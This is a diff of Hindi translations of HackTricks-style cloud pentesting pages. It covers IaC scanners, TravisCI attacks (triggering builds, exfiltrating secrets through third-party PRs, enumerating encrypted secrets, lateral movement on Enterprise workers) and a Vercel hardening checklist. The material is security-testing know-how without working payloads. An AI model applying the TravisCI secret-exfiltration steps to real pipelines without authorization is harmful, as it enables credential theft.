@@ -235,7 +235,7 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके terraform कोड का स्थैतिक विश्लेषण करता है ताकि संभावित गलत कॉन्फ़िगरेशन को पहचाना जा सके।
+From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके terraform कोड का स्थैतिक विश्लेषण करता है ताकि संभावित गलत कॉन्फ़िगरेशन का पता लगाया जा सके।
- ☁️ सभी प्रमुख (और कुछ छोटे) क्लाउड प्रदाताओं में गलत कॉन्फ़िगरेशन की जांच करता है
- ⛔ सैकड़ों अंतर्निहित नियम
@@ -256,16 +256,16 @@ tfsec /path/to/folder
अपने **KICS** द्वारा Checkmarx के साथ अपने इन्फ्रास्ट्रक्चर-एज़-कोड के विकास चक्र में सुरक्षा कमजोरियों, अनुपालन मुद्दों और इन्फ्रास्ट्रक्चर की गलत कॉन्फ़िगरेशन को जल्दी खोजें।
-**KICS** का मतलब है **K**eeping **I**nfrastructure as **C**ode **S**ecure, यह ओपन-सोर्स है और किसी भी क्लाउड नेटिव प्रोजेक्ट के लिए आवश्यक है।
+**KICS** का मतलब है **K**eeping **I**nfrastructure as **C**ode **S**ecure, यह ओपन सोर्स है और किसी भी क्लाउड नेटिव प्रोजेक्ट के लिए एक आवश्यक उपकरण है।
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
-From the [**docs**](https://github.com/tenable/terrascan): Terrascan एक स्थैतिक कोड विश्लेषक है जो Infrastructure as Code के लिए है। Terrascan आपको यह करने की अनुमति देता है:
+From the [**docs**](https://github.com/tenable/terrascan): Terrascan एक स्थिर कोड विश्लेषक है जो Infrastructure as Code के लिए है। Terrascan आपको यह करने की अनुमति देता है:
- गलत कॉन्फ़िगरेशन के लिए Infrastructure as Code को निर्बाध रूप से स्कैन करें।
-- कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो स्थिति में बदलाव लाते हैं, और सुरक्षित स्थिति में वापस लौटने की अनुमति दें।
+- कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो स्थिति में बदलाव लाते हैं, और सुरक्षित स्थिति पर वापस लौटने की अनुमति देते हैं।
- सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाएं।
- क्लाउड नेटिव इन्फ्रास्ट्रक्चर को प्रावधान करने से पहले जोखिमों को कम करें।
- स्थानीय रूप से चलाने या अपने CI\CD के साथ एकीकृत करने के लिए लचीलापन प्रदान करता है।
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index a0a91c8b8..fbfc10697 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -1,63 +1,63 @@
-# TravisCI Security
+# TravisCI सुरक्षा
{{#include ../../banners/hacktricks-training.md}}
-## What is TravisCI
+## TravisCI क्या है
-**Travis CI** एक **होस्टेड** या **स्थानीय** **निरंतर एकीकरण** सेवा है जिसका उपयोग विभिन्न **विभिन्न गिट प्लेटफार्मों** पर होस्ट किए गए सॉफ़्टवेयर प्रोजेक्ट्स को बनाने और परीक्षण करने के लिए किया जाता है।
+**Travis CI** एक **होस्टेड** या **स्थानीय** **निरंतर एकीकरण** सेवा है जिसका उपयोग विभिन्न **गिट प्लेटफार्मों** पर होस्ट किए गए सॉफ़्टवेयर प्रोजेक्ट्स को बनाने और परीक्षण करने के लिए किया जाता है।
{{#ref}}
basic-travisci-information.md
{{#endref}}
-## Attacks
+## हमले
-### Triggers
+### ट्रिगर्स
-हमला शुरू करने के लिए, आपको पहले यह जानना होगा कि निर्माण को कैसे ट्रिगर करना है। डिफ़ॉल्ट रूप से, TravisCI **पुश और पुल अनुरोधों पर निर्माण को ट्रिगर करेगा**:
+हमला शुरू करने के लिए आपको पहले यह जानना होगा कि निर्माण को कैसे ट्रिगर किया जाए। डिफ़ॉल्ट रूप से, TravisCI **पुश और पुल अनुरोधों पर निर्माण को ट्रिगर करेगा**:
.png>)
-#### Cron Jobs
+#### क्रोन जॉब्स
-यदि आपके पास वेब एप्लिकेशन तक पहुंच है, तो आप **निर्माण चलाने के लिए क्रोन सेट कर सकते हैं**, यह निरंतरता के लिए या निर्माण को ट्रिगर करने के लिए उपयोगी हो सकता है:
+यदि आपके पास वेब एप्लिकेशन तक पहुंच है, तो आप **निर्माण चलाने के लिए क्रोन सेट कर सकते हैं**, यह स्थिरता के लिए या निर्माण को ट्रिगर करने के लिए उपयोगी हो सकता है:
.png>)
> [!NOTE]
-> ऐसा लगता है कि [इस](https://github.com/travis-ci/travis-ci/issues/9162) के अनुसार `.travis.yml` के अंदर क्रोन सेट करना संभव नहीं है।
+> ऐसा लगता है कि `.travis.yml` के अंदर क्रोन सेट करना संभव नहीं है [इस](https://github.com/travis-ci/travis-ci/issues/9162) के अनुसार।
-### Third Party PR
+### थर्ड पार्टी PR
-डिफ़ॉल्ट रूप से, TravisCI तीसरे पक्ष से आने वाले PRs के साथ env वेरिएबल साझा करने को अक्षम करता है, लेकिन कोई इसे सक्षम कर सकता है और फिर आप रेपो में PR बना सकते हैं और रहस्यों को एक्सफिल्ट्रेट कर सकते हैं:
+डिफ़ॉल्ट रूप से, TravisCI थर्ड पार्टी से आने वाले PRs के साथ env वेरिएबल साझा करने को अक्षम करता है, लेकिन कोई इसे सक्षम कर सकता है और फिर आप रेपो में PR बना सकते हैं और रहस्यों को एक्सफिल्ट्रेट कर सकते हैं:
.png>)
-### Dumping Secrets
+### रहस्यों का डंपिंग
-जैसा कि [**बुनियादी जानकारी**](basic-travisci-information.md) पृष्ठ में समझाया गया है, रहस्यों के 2 प्रकार होते हैं। **पर्यावरण वेरिएबल रहस्य** (जो वेब पृष्ठ में सूचीबद्ध होते हैं) और **कस्टम एन्क्रिप्टेड रहस्य**, जो `.travis.yml` फ़ाइल के अंदर base64 के रूप में संग्रहीत होते हैं (ध्यान दें कि दोनों एन्क्रिप्टेड के रूप में संग्रहीत होने पर अंतिम मशीनों में env वेरिएबल के रूप में समाप्त होंगे)।
+जैसा कि [**बुनियादी जानकारी**](basic-travisci-information.md) पृष्ठ में बताया गया है, रहस्यों के 2 प्रकार होते हैं। **पर्यावरण वेरिएबल रहस्य** (जो वेब पृष्ठ में सूचीबद्ध हैं) और **कस्टम एन्क्रिप्टेड रहस्य**, जो `.travis.yml` फ़ाइल के अंदर base64 के रूप में संग्रहीत होते हैं (ध्यान दें कि दोनों एन्क्रिप्टेड के रूप में संग्रहीत होने पर अंतिम मशीनों में env वेरिएबल के रूप में समाप्त होंगे)।
-- **पर्यावरण वेरिएबल** के रूप में कॉन्फ़िगर किए गए **रहस्यों की गणना करने के लिए**, **प्रोजेक्ट** की **सेटिंग्स** पर जाएं और सूची की जांच करें। हालाँकि, ध्यान दें कि यहाँ सेट किए गए सभी प्रोजेक्ट env वेरिएबल निर्माण को ट्रिगर करते समय दिखाई देंगे।
+- **पर्यावरण वेरिएबल** के रूप में कॉन्फ़िगर किए गए **रहस्यों की गणना** करने के लिए **प्रोजेक्ट** की **सेटिंग्स** पर जाएं और सूची की जांच करें। हालाँकि, ध्यान दें कि यहाँ सेट किए गए सभी प्रोजेक्ट env वेरिएबल निर्माण को ट्रिगर करते समय दिखाई देंगे।
- **कस्टम एन्क्रिप्टेड रहस्यों** की गणना करने के लिए, सबसे अच्छा आप कर सकते हैं वह है **`.travis.yml` फ़ाइल की जांच करना**।
-- **एन्क्रिप्टेड फ़ाइलों** की गणना करने के लिए, आप रेपो में **`.enc` फ़ाइलों** के लिए देख सकते हैं, कॉन्फ़िग फ़ाइल में `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` जैसी पंक्तियों के लिए, या **पर्यावरण वेरिएबल** में **एन्क्रिप्टेड iv और कुंजी** के लिए:
+- **एन्क्रिप्टेड फ़ाइलों** की गणना करने के लिए, आप रेपो में **`.enc` फ़ाइलों** के लिए देख सकते हैं, कॉन्फ़िगरेशन फ़ाइल में `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` जैसी पंक्तियों के लिए, या **पर्यावरण वेरिएबल** में **एन्क्रिप्टेड iv और कुंजी** के लिए जैसे:
.png>)
### TODO:
-- Windows/Mac/Linux पर चलने वाले रिवर्स शेल के साथ उदाहरण निर्माण
-- लॉग में बेस64 एन्कोडेड env लीक करने वाले उदाहरण निर्माण
+- Windows/Mac/Linux पर रिवर्स शेल चलाने के साथ उदाहरण निर्माण
+- लॉग में बेस64 एन्कोडेड env लीक करने के साथ उदाहरण निर्माण
-### TravisCI Enterprise
+### TravisCI एंटरप्राइज
-यदि एक हमलावर एक ऐसे वातावरण में समाप्त होता है जो **TravisCI enterprise** का उपयोग करता है (इस बारे में अधिक जानकारी [**बुनियादी जानकारी**](basic-travisci-information.md#travisci-enterprise) में है), तो वह **वर्कर में निर्माण को ट्रिगर करने में सक्षम होगा।** इसका मतलब है कि एक हमलावर उस सर्वर पर पार्श्व रूप से स्थानांतरित करने में सक्षम होगा जिससे वह:
+यदि एक हमलावर एक ऐसे वातावरण में समाप्त होता है जो **TravisCI एंटरप्राइज** का उपयोग करता है (इस बारे में अधिक जानकारी [**बुनियादी जानकारी**](basic-travisci-information.md#travisci-enterprise) में है), तो वह **वर्कर में निर्माण को ट्रिगर करने में सक्षम होगा।** इसका मतलब है कि एक हमलावर उस सर्वर पर पार्श्व रूप से स्थानांतरित करने में सक्षम होगा जिससे वह:
-- मेज़बान से भाग सकता है?
+- मेज़बान पर भाग सकता है?
- कुबेरनेट्स से समझौता कर सकता है?
- उसी नेटवर्क में चल रही अन्य मशीनों से समझौता कर सकता है?
- नए क्लाउड क्रेडेंशियल्स से समझौता कर सकता है?
-## References
+## संदर्भ
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index fbd9cfd37..66d392995 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -4,13 +4,13 @@
## Access
-TravisCI सीधे विभिन्न git प्लेटफार्मों जैसे Github, Bitbucket, Assembla, और Gitlab के साथ एकीकृत होता है। यह उपयोगकर्ता से पूछेगा कि वह TravisCI को उन रिपोजिटरीज़ तक पहुँचने की अनुमति दे जो वह TravisCI के साथ एकीकृत करना चाहता है।
+TravisCI सीधे विभिन्न git प्लेटफार्मों जैसे Github, Bitbucket, Assembla, और Gitlab के साथ एकीकृत होता है। यह उपयोगकर्ता से TravisCI को उन रिपोजिटरीज़ तक पहुँचने की अनुमति देने के लिए कहेगा जिन्हें वह TravisCI के साथ एकीकृत करना चाहता है।
उदाहरण के लिए, Github में यह निम्नलिखित अनुमतियों के लिए पूछेगा:
-- `user:email` (केवल पढ़ने के लिए)
-- `read:org` (केवल पढ़ने के लिए)
-- `repo`: सार्वजनिक और निजी रिपोजिटरीज़ और संगठनों के लिए कोड, कमिट स्थिति, सहयोगियों, और तैनाती की स्थिति तक पढ़ने और लिखने की अनुमति देता है।
+- `user:email` (पढ़ने के लिए केवल)
+- `read:org` (पढ़ने के लिए केवल)
+- `repo`: सार्वजनिक और निजी रिपोजिटरीज़ और संगठनों के लिए कोड, कमिट स्थिति, सहयोगियों, और तैनाती की स्थिति तक पढ़ने और लिखने की पहुँच प्रदान करता है।
## Encrypted Secrets
@@ -20,7 +20,7 @@ TravisCI में, अन्य CI प्लेटफार्मों की
.png>)
-यह संभव है कि **उन शाखाओं को इंगित करें जिन पर रहस्य उपलब्ध होंगे** (डिफ़ॉल्ट रूप से सभी) और यह भी कि क्या TravisCI **इसके मान को छिपाना चाहिए** यदि यह **लॉग में दिखाई देता है** (डिफ़ॉल्ट रूप से यह करेगा)।
+यह संभव है कि **उन शाखाओं को इंगित करें जिनमें रहस्य उपलब्ध होंगे** (डिफ़ॉल्ट रूप से सभी) और यह भी कि क्या TravisCI **इसके मान को छिपाना चाहिए** यदि यह **लॉग में दिखाई देता है** (डिफ़ॉल्ट रूप से यह करेगा)।
### Custom Encrypted Secrets
@@ -31,11 +31,11 @@ TravisCI में, अन्य CI प्लेटफार्मों की
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-फिर, आप इस सेटअप का उपयोग करके **गुप्त जानकारी को एन्क्रिप्ट कर सकते हैं और उन्हें अपने `.travis.yaml` में जोड़ सकते हैं**। गुप्त जानकारी **बिल्ड चलने पर डिक्रिप्ट की जाएगी** और **पर्यावरण चर** में उपलब्ध होगी।
+फिर, आप इस सेटअप का उपयोग करके **गुप्त को एन्क्रिप्ट कर सकते हैं और उन्हें अपने `.travis.yaml` में जोड़ सकते हैं**। गुप्त को **बिल्ड चलने पर डिक्रिप्ट किया जाएगा** और **पर्यावरण चर** में उपलब्ध होगा।
.png>)
-ध्यान दें कि इस तरीके से एन्क्रिप्ट की गई गुप्त जानकारी सेटिंग्स के पर्यावरण चर में सूचीबद्ध नहीं होगी।
+ध्यान दें कि इस तरीके से एन्क्रिप्ट किए गए गुप्त सेटिंग्स के पर्यावरण चर में सूचीबद्ध नहीं होंगे।
### कस्टम एन्क्रिप्टेड फ़ाइलें
@@ -57,24 +57,24 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
-Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
+ध्यान दें कि जब एक फ़ाइल को एन्क्रिप्ट किया जाता है, तो 2 Env Variables को रिपॉजिटरी के अंदर कॉन्फ़िगर किया जाएगा जैसे:
.png>)
## TravisCI Enterprise
-Travis CI Enterprise एक **on-prem संस्करण है Travis CI का**, जिसे आप **अपने बुनियादी ढांचे में तैनात कर सकते हैं**। इसे Travis CI के 'सर्वर' संस्करण के रूप में सोचें। Travis CI का उपयोग करने से आपको एक आसान-से-उपयोग करने योग्य निरंतर एकीकरण/निरंतर तैनाती (CI/CD) प्रणाली सक्षम करने की अनुमति मिलती है, जिसे आप अपनी आवश्यकताओं के अनुसार कॉन्फ़िगर और सुरक्षित कर सकते हैं।
+Travis CI Enterprise एक **on-prem संस्करण है Travis CI का**, जिसे आप **अपने बुनियादी ढांचे में तैनात कर सकते हैं**। इसे Travis CI के 'सर्वर' संस्करण के रूप में सोचें। Travis CI का उपयोग करने से आपको एक आसान-से-उपयोग करने योग्य Continuous Integration/Continuous Deployment (CI/CD) प्रणाली को एक वातावरण में सक्षम करने की अनुमति मिलती है, जिसे आप अपनी इच्छानुसार कॉन्फ़िगर और सुरक्षित कर सकते हैं।
**Travis CI Enterprise दो प्रमुख भागों में बाँटा गया है:**
-1. TCI **सेवाएँ** (या TCI कोर सेवाएँ), जो संस्करण नियंत्रण प्रणालियों के साथ एकीकरण, निर्माणों को अधिकृत करने, निर्माण कार्यों को अनुसूचित करने आदि के लिए जिम्मेदार हैं।
+1. TCI **सेवाएँ** (या TCI कोर सेवाएँ), जो संस्करण नियंत्रण प्रणालियों के साथ एकीकरण, निर्माणों को अधिकृत करना, निर्माण कार्यों को शेड्यूल करना आदि के लिए जिम्मेदार हैं।
2. TCI **कार्यकर्ता** और निर्माण वातावरण छवियाँ (जिन्हें OS छवियाँ भी कहा जाता है)।
**TCI कोर सेवाओं के लिए निम्नलिखित की आवश्यकता होती है:**
1. एक **PostgreSQL11** (या बाद का) डेटाबेस।
-2. एक बुनियादी ढांचा जिसमें Kubernetes क्लस्टर तैनात किया जा सके; इसे एक सर्वर क्लस्टर में या यदि आवश्यक हो तो एकल मशीन में तैनात किया जा सकता है।
-3. आपकी सेटअप के आधार पर, आप कुछ घटकों को स्वयं तैनात और कॉन्फ़िगर करना चाह सकते हैं, जैसे कि RabbitMQ - अधिक विवरण के लिए [Travis CI Enterprise सेटअप करना](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) देखें।
+2. एक बुनियादी ढांचा जिसमें एक Kubernetes क्लस्टर तैनात किया जा सके; इसे एक सर्वर क्लस्टर में या यदि आवश्यक हो तो एकल मशीन में तैनात किया जा सकता है।
+3. आपकी सेटअप के आधार पर, आप कुछ घटकों को अपने आप तैनात और कॉन्फ़िगर करना चाह सकते हैं, जैसे कि RabbitMQ - अधिक विवरण के लिए [Travis CI Enterprise सेटअप करना](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) देखें।
**TCI कार्यकर्ता के लिए निम्नलिखित की आवश्यकता होती है:**
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 25ee635c9..9688f0409 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -6,28 +6,28 @@
Vercel में एक **Team** वह पूरी **environment** है जो एक ग्राहक से संबंधित है और एक **project** एक **application** है।
-**Vercel** की हार्डनिंग समीक्षा के लिए, आपको **Viewer role permission** वाले उपयोगकर्ता के लिए पूछना होगा या कम से कम **Project viewer permission over the projects** की आवश्यकता होगी (यदि आपको केवल प्रोजेक्ट की जांच करनी है और टीम कॉन्फ़िगरेशन की नहीं)।
+**Vercel** की हार्डनिंग समीक्षा के लिए, आपको **Viewer role permission** वाले उपयोगकर्ता के लिए पूछना होगा या कम से कम **Project viewer permission over the projects** की आवश्यकता होगी (यदि आपको केवल परियोजनाओं की जांच करनी है और Team कॉन्फ़िगरेशन नहीं)।
## Project Settings
### General
-**Purpose:** प्रोजेक्ट नाम, फ्रेमवर्क, और बिल्ड कॉन्फ़िगरेशन जैसे मौलिक प्रोजेक्ट सेटिंग्स का प्रबंधन करें।
+**Purpose:** परियोजना के नाम, ढांचे और निर्माण कॉन्फ़िगरेशन जैसे मौलिक परियोजना सेटिंग्स का प्रबंधन करें।
#### Security Configurations:
- **Transfer**
-- **Misconfiguration:** प्रोजेक्ट को दूसरे टीम में स्थानांतरित करने की अनुमति देता है
-- **Risk:** एक हमलावर प्रोजेक्ट चुरा सकता है
+- **Misconfiguration:** परियोजना को दूसरे टीम में स्थानांतरित करने की अनुमति देता है
+- **Risk:** एक हमलावर परियोजना चुरा सकता है
- **Delete Project**
-- **Misconfiguration:** प्रोजेक्ट को हटाने की अनुमति देता है
-- **Risk:** प्रोजेक्ट को हटाना
+- **Misconfiguration:** परियोजना को हटाने की अनुमति देता है
+- **Risk:** परियोजना को हटाना
---
### Domains
-**Purpose:** कस्टम डोमेन, DNS सेटिंग्स, और SSL कॉन्फ़िगरेशन का प्रबंधन करें।
+**Purpose:** कस्टम डोमेन, DNS सेटिंग्स और SSL कॉन्फ़िगरेशन का प्रबंधन करें।
#### Security Configurations:
@@ -41,47 +41,47 @@ Vercel में एक **Team** वह पूरी **environment** है ज
- **Misconfiguration:** DNSSEC को सक्षम करने में विफलता या गलत DNSSEC सेटिंग्स।
- **Risk:** DNS स्पूफिंग और कैश पॉइज़निंग हमलों के प्रति बढ़ी हुई संवेदनशीलता।
- **Environment used per domain**
-- **Misconfiguration:** प्रोडक्शन में डोमेन द्वारा उपयोग किए जाने वाले वातावरण को बदलना।
-- **Risk:** संभावित रहस्यों या कार्यक्षमताओं को उजागर करना जो प्रोडक्शन में उपलब्ध नहीं होनी चाहिए।
+- **Misconfiguration:** उत्पादन में डोमेन द्वारा उपयोग किए जाने वाले वातावरण को बदलना।
+- **Risk:** संभावित रहस्यों या कार्यक्षमताओं को उजागर करना जो उत्पादन में उपलब्ध नहीं होनी चाहिए।
---
### Environments
-**Purpose:** विशिष्ट सेटिंग्स और वेरिएबल्स के साथ विभिन्न वातावरण (Development, Preview, Production) को परिभाषित करें।
+**Purpose:** विशिष्ट सेटिंग्स और वेरिएबल के साथ विभिन्न वातावरण (Development, Preview, Production) को परिभाषित करें।
#### Security Configurations:
- **Environment Isolation**
-- **Misconfiguration:** वातावरणों के बीच वातावरण वेरिएबल साझा करना।
-- **Risk:** विकास या पूर्वावलोकन वातावरण में प्रोडक्शन रहस्यों का लीक होना, जिससे जोखिम बढ़ता है।
+- **Misconfiguration:** वातावरणों के बीच पर्यावरण चर साझा करना।
+- **Risk:** विकास या पूर्वावलोकन वातावरण में उत्पादन रहस्यों का रिसाव, जिससे जोखिम बढ़ता है।
- **Access to Sensitive Environments**
-- **Misconfiguration:** प्रोडक्शन वातावरणों तक व्यापक पहुंच की अनुमति देना।
-- **Risk:** लाइव एप्लिकेशन में अनधिकृत परिवर्तन या पहुंच, संभावित डाउनटाइम या डेटा उल्लंघनों की ओर ले जा सकती है।
+- **Misconfiguration:** उत्पादन वातावरणों तक व्यापक पहुंच की अनुमति देना।
+- **Risk:** लाइव अनुप्रयोगों में अनधिकृत परिवर्तन या पहुंच, संभावित डाउनटाइम या डेटा उल्लंघनों की ओर ले जाना।
---
### Environment Variables
-**Purpose:** एप्लिकेशन द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल्स और रहस्यों का प्रबंधन करें।
+**Purpose:** एप्लिकेशन द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल और रहस्यों का प्रबंधन करें।
#### Security Configurations:
- **Exposing Sensitive Variables**
-- **Misconfiguration:** संवेदनशील वेरिएबल्स को `NEXT_PUBLIC_` के साथ प्रीफिक्स करना, जिससे वे क्लाइंट साइड पर उपलब्ध हो जाते हैं।
-- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल्स, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है।
+- **Misconfiguration:** संवेदनशील वेरिएबल को `NEXT_PUBLIC_` के साथ पूर्ववर्ती करना, जिससे उन्हें क्लाइंट साइड पर पहुंच योग्य बनाना।
+- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है।
- **Sensitive disabled**
- **Misconfiguration:** यदि अक्षम (डिफ़ॉल्ट) है तो उत्पन्न रहस्यों के मानों को पढ़ना संभव है।
- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है।
- **Shared Environment Variables**
-- **Misconfiguration:** ये टीम स्तर पर सेट किए गए वातावरण वेरिएबल्स हैं और इनमें संवेदनशील जानकारी भी हो सकती है।
+- **Misconfiguration:** ये टीम स्तर पर सेट किए गए पर्यावरण चर हैं और इनमें संवेदनशील जानकारी भी हो सकती है।
- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है।
---
### Git
-**Purpose:** Git रिपॉजिटरी इंटीग्रेशन, शाखा सुरक्षा, और डिप्लॉयमेंट ट्रिगर्स को कॉन्फ़िगर करें।
+**Purpose:** Git रिपॉजिटरी इंटीग्रेशन, शाखा सुरक्षा, और तैनाती ट्रिगर्स को कॉन्फ़िगर करें।
#### Security Configurations:
@@ -93,42 +93,42 @@ Vercel में एक **Team** वह पूरी **environment** है ज
### Integrations
-**Purpose:** तीसरे पक्ष की सेवाओं और उपकरणों को जोड़ें ताकि प्रोजेक्ट कार्यक्षमताओं को बढ़ाया जा सके।
+**Purpose:** परियोजना कार्यक्षमताओं को बढ़ाने के लिए तृतीय-पक्ष सेवाओं और उपकरणों को कनेक्ट करें।
#### Security Configurations:
- **Insecure Third-Party Integrations**
-- **Misconfiguration:** अविश्वसनीय या असुरक्षित तीसरे पक्ष की सेवाओं के साथ एकीकृत करना।
-- **Risk:** कमजोरियों, डेटा लीक, या समझौता किए गए इंटीग्रेशनों के माध्यम से बैकडोर का परिचय।
+- **Misconfiguration:** अविश्वसनीय या असुरक्षित तृतीय-पक्ष सेवाओं के साथ एकीकृत करना।
+- **Risk:** कमजोरियों, डेटा लीक, या समझौता किए गए एकीकरणों के माध्यम से बैकडोर का परिचय।
- **Over-Permissioned Integrations**
- **Misconfiguration:** एकीकृत सेवाओं को अत्यधिक अनुमतियाँ देना।
-- **Risk:** प्रोजेक्ट संसाधनों तक अनधिकृत पहुंच, डेटा हेरफेर, या सेवा व्यवधान।
+- **Risk:** परियोजना संसाधनों तक अनधिकृत पहुंच, डेटा हेरफेर, या सेवा व्यवधान।
- **Lack of Integration Monitoring**
-- **Misconfiguration:** तीसरे पक्ष की इंटीग्रेशनों की निगरानी और ऑडिट करने में विफलता।
-- **Risk:** समझौता किए गए इंटीग्रेशनों का विलंबित पता लगाना, सुरक्षा उल्लंघनों के संभावित प्रभाव को बढ़ाना।
+- **Misconfiguration:** तृतीय-पक्ष एकीकरणों की निगरानी और ऑडिट करने में विफलता।
+- **Risk:** समझौता किए गए एकीकरणों का विलंबित पता लगाना, सुरक्षा उल्लंघनों के प्रभाव को बढ़ाना।
---
### Deployment Protection
-**Purpose:** विभिन्न सुरक्षा तंत्रों के माध्यम से डिप्लॉयमेंट को सुरक्षित करें, यह नियंत्रित करें कि कौन आपके वातावरणों तक पहुंच सकता है और डिप्लॉय कर सकता है।
+**Purpose:** विभिन्न सुरक्षा तंत्रों के माध्यम से तैनातियों को सुरक्षित करें, यह नियंत्रित करें कि कौन आपके वातावरणों तक पहुंच सकता है और तैनात कर सकता है।
#### Security Configurations:
**Vercel Authentication**
- **Misconfiguration:** प्रमाणीकरण को अक्षम करना या टीम के सदस्यों की जांच को लागू नहीं करना।
-- **Risk:** अनधिकृत उपयोगकर्ता डिप्लॉयमेंट्स तक पहुंच सकते हैं, जिससे डेटा उल्लंघन या एप्लिकेशन का दुरुपयोग हो सकता है।
+- **Risk:** अनधिकृत उपयोगकर्ता तैनातियों तक पहुंच सकते हैं, जिससे डेटा उल्लंघन या अनुप्रयोग का दुरुपयोग हो सकता है।
**Protection Bypass for Automation**
- **Misconfiguration:** बायपास रहस्य को सार्वजनिक रूप से उजागर करना या कमजोर रहस्यों का उपयोग करना।
-- **Risk:** हमलावर डिप्लॉयमेंट सुरक्षा को बायपास कर सकते हैं, सुरक्षित डिप्लॉयमेंट्स तक पहुंच और हेरफेर कर सकते हैं।
+- **Risk:** हमलावर तैनाती सुरक्षा को बायपास कर सकते हैं, सुरक्षित तैनातियों तक पहुंच और हेरफेर कर सकते हैं।
**Shareable Links**
-- **Misconfiguration:** लिंक को मनमाने तरीके से साझा करना या पुराने लिंक को रद्द करने में विफलता।
-- **Risk:** सुरक्षित डिप्लॉयमेंट्स तक अनधिकृत पहुंच, प्रमाणीकरण और IP प्रतिबंधों को बायपास करना।
+- **Misconfiguration:** लिंक को मनमाने ढंग से साझा करना या पुराने लिंक को रद्द करने में विफलता।
+- **Risk:** सुरक्षित तैनातियों तक अनधिकृत पहुंच, प्रमाणीकरण और IP प्रतिबंधों को बायपास करना।
**OPTIONS Allowlist**
@@ -138,23 +138,27 @@ Vercel में एक **Team** वह पूरी **environment** है ज
**Password Protection**
- **Misconfiguration:** कमजोर पासवर्ड का उपयोग करना या उन्हें असुरक्षित रूप से साझा करना।
-- **Risk:** यदि पासवर्ड का अनुमान लगाया गया या लीक किया गया तो डिप्लॉयमेंट्स तक अनधिकृत पहुंच।
+- **Risk:** यदि पासवर्ड का अनुमान लगाया गया या लीक हुआ तो तैनातियों तक अनधिकृत पहुंच।
+
+**Note:** यह **Pro** योजना पर **Advanced Deployment Protection** के हिस्से के रूप में $150/माह के लिए उपलब्ध है।
**Deployment Protection Exceptions**
- **Misconfiguration:** उत्पादन या संवेदनशील डोमेन को अपवाद सूची में अनजाने में जोड़ना।
-- **Risk:** महत्वपूर्ण डिप्लॉयमेंट्स को सार्वजनिक रूप से उजागर करना, जिससे डेटा लीक या अनधिकृत पहुंच हो सकती है।
+- **Risk:** महत्वपूर्ण तैनातियों को सार्वजनिक रूप से उजागर करना, जिससे डेटा लीक या अनधिकृत पहुंच हो सकती है।
+- **Note:** यह **Pro** योजना पर **Advanced Deployment Protection** के हिस्से के रूप में $150/माह के लिए उपलब्ध है।
**Trusted IPs**
- **Misconfiguration:** IP पते या CIDR रेंज को गलत तरीके से निर्दिष्ट करना।
- **Risk:** वैध उपयोगकर्ताओं को अवरुद्ध करना या अनधिकृत IPs को पहुंच प्राप्त करना।
+- **Note:** यह **Enterprise** योजना पर उपलब्ध है।
---
### Functions
-**Purpose:** सर्वरलेस फ़ंक्शंस को कॉन्फ़िगर करें, जिसमें रनटाइम सेटिंग्स, मेमोरी आवंटन, और सुरक्षा नीतियाँ शामिल हैं।
+**Purpose:** सर्वर रहित कार्यों को कॉन्फ़िगर करें, जिसमें रनटाइम सेटिंग्स, मेमोरी आवंटन, और सुरक्षा नीतियाँ शामिल हैं।
#### Security Configurations:
@@ -164,13 +168,13 @@ Vercel में एक **Team** वह पूरी **environment** है ज
### Data Cache
-**Purpose:** प्रदर्शन को अनुकूलित करने और डेटा संग्रहण को नियंत्रित करने के लिए कैशिंग रणनीतियों और सेटिंग्स का प्रबंधन करें।
+**Purpose:** प्रदर्शन को अनुकूलित करने और डेटा भंडारण को नियंत्रित करने के लिए कैशिंग रणनीतियों और सेटिंग्स का प्रबंधन करें।
#### Security Configurations:
- **Purge Cache**
- **Misconfiguration:** यह सभी कैश को हटाने की अनुमति देता है।
-- **Risk:** अनधिकृत उपयोगकर्ता कैश को हटाने के कारण संभावित DoS।
